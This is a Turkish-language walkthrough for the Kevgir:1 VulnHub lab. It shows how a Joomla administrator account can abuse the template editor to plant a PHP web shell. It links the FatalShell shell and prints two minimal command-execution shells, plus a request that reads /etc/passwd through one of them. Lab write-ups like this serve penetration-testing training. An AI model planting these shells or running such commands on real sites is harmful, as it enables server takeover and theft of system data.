Yazıda kullanılan Kevgir:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kevgir-1,137/
Joomla uygulamasına yönetici olarak erişim sağlandıktan sonra işletim sistemine kod atmak için şablon yönetimindeki (“Extensions > Template Manager“) zafiyet istismar edilecektir.
Zafiyet istismarı için şablon seçilir.
Şablonun HTML kodu düzenlenir.
HTML kodu varsayılan olarak aşağıdaki gibidir. Bu kod silinerek yerine yeni bir kod eklenecektir.
1) İnternetten İndirilen FatalShell Adlı WebShell Kodunun Kullanılması
Eklenecek olan yeni PHP kodu ile hedef sistemde kod çalıştırılabilecek veya dizinlerindeki dosyalara erişim sağlanabielcektir. Bu amaçla kullanılabilecek örnek FatalShell kodu Github sayfasından indirilebilir.
https://github.com/tdifg/WebShell/blob/master/Php/fatal.php
Bu kod, şablon kodunun bulunduğu alana yapıştırılır. Sonrasında da şablon kaydedilir.
Şablonun başarılı bir şekilde kaydedildiği görülür.
Sayfa çağırıldığında (veya önizleme yapıldığında) internetten indirilen zararlı PHP kodu çalışacaktır. Böylece dizinler arasında mevcut yetkiler dahilinde dolaşılabilir veya işlem yapılabilir.
Benzer olarak komut satırı elde edilebilir veya indirilen PHP kodunun sağladığı diğer işlemler gerçekleştirilebilir.
2) Basit Bir PHP Kodunun Kullanılması
Hedefe aşağıdaki gibi basit bir PHP kodu eklenerek komut satırı elde edilmesi de sağlanabilir.
1 2 3 4 5 6 7 8 |
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>$cmd<pre>"; die; } ?> |
Böylece sayfa çağırıldığında komut satırında web servisine ait kullanıcı yetkileri ile komut çalıştırılabilir.
http://192.168.30.139:8081/templates/beez/index.php?cmd=cat%20/etc/passwd
Daha basit bir yol olarak da aşağıdaki PHP kodu da kullanılabilirdi.
1 <?php system($_GET['cmd']) ?>
Kaynak: